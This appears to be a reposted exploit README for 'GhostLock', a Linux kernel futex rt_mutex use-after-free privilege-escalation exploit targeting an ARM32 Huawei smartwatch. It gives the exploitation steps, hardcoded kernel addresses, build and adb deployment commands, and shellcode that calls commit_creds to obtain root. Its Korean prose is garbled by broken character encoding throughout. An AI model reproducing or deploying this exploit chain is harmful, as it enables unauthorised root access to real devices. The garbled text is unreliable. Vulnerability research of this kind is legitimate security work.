## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GITCHW-GHOSTLOCK-CVE-2026-43499
# CVE-2026-43499 (GhostLock) โ ARM32 ์ปค๋ ๊ถํ ์์น ์ฐ๊ตฌ
Linux ์ปค๋ futex PI rt_mutex Use-After-Free ์ทจ์ฝ์ ์ฐ๊ตฌ ๋ฐ **Huawei Watch 4 Pro (MDS-AL00)** , Snapdragon SW5100, armv7l, ์ปค๋ 5.4.210์ ๋์์ผ๋ก ํ ์ต์คํ๋ก์ ๊ฐ๋ฐ.
## ์ทจ์ฝ์
kernel/locking/rt_mutex.c์ `remove_waiter()`๋ ํ๋ก์ ์ ๊ธ ๋กค๋ฐฑ ๊ณผ์ ์์ `waiter->task` ๋์ `current`๋ฅผ ์๋ชป ์ฌ์ฉํ์ฌ ์จ์ดํฐ ํ์คํฌ์ `pi_blocked_on`์ ์ง์ฐ์ง ๋ชปํฉ๋๋ค. ๊ทธ ๊ฒฐ๊ณผ ์จ์ดํฐ์ ์ปค๋ ์คํ ํ๋ ์์ด ํด์ ๋ ๋ค์๋ `task_struct`์์ ์คํ์ ํ ๋น๋ `rt_mutex_waiter`๋ฅผ ๊ฐ๋ฆฌํค๋ ๋๊ธ๋ง ํฌ์ธํฐ๊ฐ ๋จ์ต๋๋ค โ ์ ํ์ ์ธ ์คํ Use-After-Free์
๋๋ค.
## ์ต์คํ๋ก์ ์ ๋ต
1. **๋๊ธ๋ง ํฌ์ธํฐ** โ ์ธ ๊ฐ์ ์ค๋ ๋์ ๊ฑธ์ณ `futex(FUTEX_CMP_REQUEUE_PI)`๋ฅผ ํตํด EDEADLK ๋กค๋ฐฑ์ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค. ์จ์ดํฐ์ `pi_blocked_on`์ ํด์ ๋ ์คํ์ ๊ฐ๋ฆฌํต๋๋ค.
2. **์คํ ์คํ๋ ์ด(์คํฌํ)** โ `prctl(PR_SET_NAME)`(์ต์
15, ๊ถํ ์์)์ ์ฌ์ฉํ์ฌ ์ ์ด๋ 15๋ฐ์ดํธ ๋ฐ์ดํฐ๋ฅผ ์ปค๋ ์คํ์ ๋ณต์ฌํด ๊ฐ์ง ์จ์ดํฐ์ `task`/`lock`/`prio` ํ๋๋ฅผ ๋ฎ์ด์๋๋ค.
3. **์ฐ๊ธฐ ํ๋ฆฌ๋ฏธํฐ๋ธ** โ `sched_setattr()` ํธ์ถ์ด PI ์ฒด์ธ ์ํฌ๋ฅผ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค. ๊ฐ์ง ์จ์ดํฐ๋ ์ปค๋ `file_operations` ๊ตฌ์กฐ์ฒด์ ๊ฒน์น๋ ์์กฐ๋ `rt_mutex`์ ์ฝ์
๋ฉ๋๋ค. ๋ ๋-๋ธ๋ ํธ๋ฆฌ ์ฝ์
์ด ์จ์ดํฐ์ ์ปค๋ ์คํ ์ฃผ์๋ฅผ `fops->unlocked_ioctl`์ ๊ธฐ๋กํฉ๋๋ค.
4. **์ฝ๋ ์คํ** โ ์์น ๋
๋ฆฝ ARM ์
ธ์ฝ๋๋ก ์จ์ดํฐ๋ฅผ ๋ค์ ์คํฌํํฉ๋๋ค. ๋ชจ๋ ์ฌ์ฉ์๊ฐ ์ ๊ทผ ๊ฐ๋ฅํ ์บ๋ฆญํฐ ๋๋ฐ์ด์ค๋ฅผ ์ด๊ณ `ioctl()`์ ํธ์ถํ๋ฉด, ๋ฎ์ด์ด `unlocked_ioctl` ํฌ์ธํฐ๋ฅผ ํตํด ์คํ ๊ฐ๋ฅํ ์ปค๋ ์คํ์ ์
ธ์ฝ๋๋ก ๋์คํจ์น๋ฉ๋๋ค.
5. **๊ถํ ์์น** โ ์
ธ์ฝ๋๊ฐ `commit_creds(waiter)`๋ฅผ ํธ์ถํ๋ฉฐ, ์ฌ๊ธฐ์ ์จ์ดํฐ์ ์ฒซ ๋ฒ์งธ ํ๋(`rb_insert_color`๊ฐ ์ค์ )๋ uid/gid = 0์ธ ๊ฐ์ง `struct cred`๋ฅผ ๊ตฌ์ฑํฉ๋๋ค.
## ํ์ฌ ์ํ
* UAF ํธ๋ฆฌ๊ฑฐ: **๋์ ํ์ธ๋จ** (๊ธฐ๊ธฐ์์ ๊ฒ์ฆ๋จ)
* prctl์ ํตํ ์คํ ์คํฌํ: **๋์ ํ์ธ๋จ**
* ๋จ์ผ ์ปค๋ ์คํ ์ฃผ์ ์ฐ๊ธฐ ํ๋ฆฌ๋ฏธํฐ๋ธ: **๋์ ํ์ธ๋จ** (`fops->unlocked_ioctl`์ ์จ์ดํฐ ์คํ ์ฃผ์๋ก ๋ฎ์ด์)
* ์ปค๋ ์คํ ์คํ ๊ฐ๋ฅ ํ์ธ๋จ (BSS/์คํ ์์ญ์ PXN/NX ์์)
* ์
ธ์ฝ๋๋ก์ ioctl ๋์คํจ์น: **๊ธฐ๊ธฐ ์ฌ๋ถํ
์ ๋ฐ** โ ์กฐ์ฌ ์ค (Cortex-A7์ rb_insert_color / ์ฒด์ธ ์ํฌ ๊ฒฝ๋ก์์ ์ผํฐ๋ UNPREDICTABLE ๋ช
๋ น ๋๋ ๋ ์ง์คํฐ ์์์ผ๋ก ์ถ์ )
## ๋์ ๊ธฐ๊ธฐ
## ์ฃผ์ ์ปค๋ ์ฃผ์
root@kitploit:~
kernel base 0xC0008000
syscall table 0xc0101264
do_vfs_ioctl 0xc031c0ec (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds 0xc014cac8 (fast path, bx lr clean return)
rt_mutex_enqueue 0xc019c660
rb_insert_color 0xc104a918
init_task 0xc1b11640
init_cred 0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK 0xc141f5d4 (null_fops + 0x24)
write target 0xc141f5d8 (null_fops + 0x28 = unlocked_ioctl)
## ์ ์ฅ์ ๊ตฌ์กฐ
root@kitploit:~
.
โโโ README.md # This file
โโโ boot.img # Target device boot image (32 MB)
โโโ exploit/
โ โโโ ghostlock_arm32.c # Main ARM32 exploit source
โ โโโ ghostlock_arm32.h # Exploit definitions header
โ โโโ ghostlock_arm32 # Compiled static ARM binary
โ โโโ ghostlock_poc1.c # Initial crash POC
โ โโโ nebula_poc.c # Nebula team reference POC
โโโ kernel/
โ โโโ kernel_raw.bin # Uncompressed kernel binary (28 MB)
โ โโโ kallsyms_parsed.txt # Extracted kernel symbol table
โโโ analysis/ # 670+ Capstone-based reverse engineering
โ โโโ *.py # scripts and disassembly outputs used
โ โโโ *.txt # during the research process
โโโ references/
โโโ ghostlock/ # Earlier exploit iterations (PoC through
โ โโโ src/ # tracepoint/cred/oneplus variants)
โ โโโ bin/ # Compiled earlier versions
โ โโโ old/ # Initial crash PoCs
โ โโโ README.md
โ โโโ RESEARCH_NOTES.md
โโโ ref_tc3650/ # TC3650 ARM32 reference exploit materials
## ๋น๋
root@kitploit:~
arm-linux-gnueabihf-gcc -static -O2 -o ghostlock_arm32 ghostlock_arm32.c -lpthread
## ์คํ
root@kitploit:~
adb push ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32
## ์
ธ์ฝ๋
waiter+0x18์ ์คํฌํ๋๋ 12๋ฐ์ดํธ ์์น ๋
๋ฆฝ ARM Thumb ์
ธ์ฝ๋:
root@kitploit:~
sub r0, pc, #0x20 @ r0 = waiter (fake cred), PC-relative
ldr pc, [pc, #-4] @ jump to commit_creds
.word 0xc014cac8 @ commit_creds address
`commit_creds()` ๊ณ ์ ๊ฒฝ๋ก๋ `current->cred = r0`๋ฅผ ๊ธฐ๋กํ ๋ค `bx lr`์ ํตํด `do_vfs_ioctl`๋ก ๋ณต๊ทํ๋ฉฐ, ์ดํ ์ ์์ ์ผ๋ก ์ฌ์ฉ์ ๊ณต๊ฐ์ผ๋ก ๋ฐํ๋ฉ๋๋ค.
## file_operations ๋ ์ด์์ ์ฐธ๊ณ ์ฌํญ
์ด ๋ฒค๋ ์ปค๋์ `struct file_operations`๋ ์คํ์
+0x24(`poll`๊ณผ `unlocked_ioctl` ์ฌ์ด)์ 4๋ฐ์ดํธ ์ถ๊ฐ ํ๋๊ฐ ์์ด, ํ์ค Linux 5.4์ ๋น๊ตํ์ฌ ์ดํ์ ๋ชจ๋ ๋ฉค๋ฒ๊ฐ 4๋ฐ์ดํธ์ฉ ๋ฐ๋ฆฝ๋๋ค:
root@kitploit:~
+0x04 llseek +0x20 poll
+0x08 read +0x24 <vendor extra>
+0x0c write +0x28 unlocked_ioctl
+0x10 read_iter +0x2c compat_ioctl
+0x14 write_iter +0x30 mmap
+0x18 iterate +0x38 open
+0x1c iterate_shared +0x40 release
์ด๋ ashmem ๋ฐ null fops ํธ๋ค๋ฌ๋ฅผ ๋์ค์ด์
๋ธํ์ฌ ํ์ธ๋์์ต๋๋ค.
## ๋ฉด์ฑ
์กฐํญ
์ด ์ ์ฅ์๋ **๋ณด์ ์ฐ๊ตฌ ๋ฐ ๊ต์ก ๋ชฉ์ ์ผ๋ก๋ง** ์ ๊ณต๋ฉ๋๋ค. ์์ ํ์ง ์์๊ฑฐ๋ ํ
์คํธ ๊ถํ์ด ์๋ ๊ธฐ๊ธฐ์๋ ์ด๋ฌํ ๊ธฐ๋ฒ์ ์ฌ์ฉํ์ง ๋ง์ญ์์ค.